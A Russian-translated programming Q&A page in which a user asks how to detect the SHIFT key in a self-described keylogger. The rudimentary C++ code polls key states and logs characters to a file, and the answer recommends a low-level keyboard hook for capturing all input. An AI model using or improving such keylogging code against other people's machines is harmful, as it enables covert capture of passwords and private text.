обнаружение, удерживается ли SHIFT - PullRequest
0 голосов
/ 10 мая 2018

Привет! Мне нужна моя программа (кейлоггер Dev C ++), чтобы определить, удерживается ли клавиша «SHIFT». Затем, пока удерживается клавиша «SHIFT», программа должна переключаться с строчных на прописные буквы ... Я использую функцию MSND, которая называется «GeyKeyState» (который «возвращает статус указанного виртуального ключа»), но он не работает. В любом случае, я не англичанин, поэтому мог допустить некоторые грамматические ошибки. Заранее спасибо!

#include <iostream>
#include <Windows.h>
#include <iomanip>
#include <WinUser.h>
//#include <ctype.h>

#pragma disable warning(4996);
#define DELAY 170

using namespace std;

void WriteToLog( char key)
{
    FILE *pLogFile;
    pLogFile = fopen("hooked.txt", "a+");
    fprintf(pLogFile, "%c", key);
    fclose(pLogFile);
}

int main()
{
    char i;
    bool MINUSCOLA = true; //inizializziamo "MINUSCOLA" come "true"

    /*verifico se il caps lock non era attivo prima dell'esecuzione del programma*/
    if ((GetKeyState(VK_CAPITAL) & 0X0001) != 0)
    {                                                           
        MINUSCOLA = false;                                              
    }
    else
    {
        MINUSCOLA = true;
    }

    for (i = 0; i <= 165;i++)
    {
        if (GetAsyncKeyState(i) == -32767)              //questo blocco di IF and ELSE nidificati viene eseguita SOLO se viene premuto un qualsiasi tasto
        {
            if ((GetAsyncKeyState(VK_CAPITAL))||((GetAsyncKeyState(i) == -32767) && ((GetKeyState(VK_SHIFT)&0x0001)!=0)))                   //se premo il bloc maiusc  e invertiamo il valore di "MINUSCOLA"
            {
                 MINUSCOLA=!(MINUSCOLA);
            }
            else
            {
                if (MINUSCOLA == true)                          //se non lo premo e "MINUSCOLA" è "true"  il programma stampa caratteri minuscoli       
                {                                                   
                    WriteToLog(i+32);
                }
                else                                            //altrimenti "MINUSCOLA" è necessariamente "false";quindi il programma stamperà lettere maiuscole
                {
                    WriteToLog(i);
                }
            }               
        }           
    }
    Sleep(DELAY);
    return 0;
}

1 Ответ

0 голосов
/ 10 мая 2018

GeyKeyState сообщает о состоянии входной очереди потоков, а не о глобальном состоянии.MSDN даже говорит вам, что делать:

Статус ключа, возвращаемый из этой функции, изменяется, когда поток читает сообщения ключа из своей очереди сообщений.Состояние не отражает состояние уровня прерывания, связанное с оборудованием.Используйте функцию GetAsyncKeyState, чтобы получить эту информацию.

A WH_KEYBOARD_LL hook - намного лучший вариант, если вам нужно контролировать все вводы с клавиатуры.Вы никогда не должны тянуть с небольшим Sleep!

...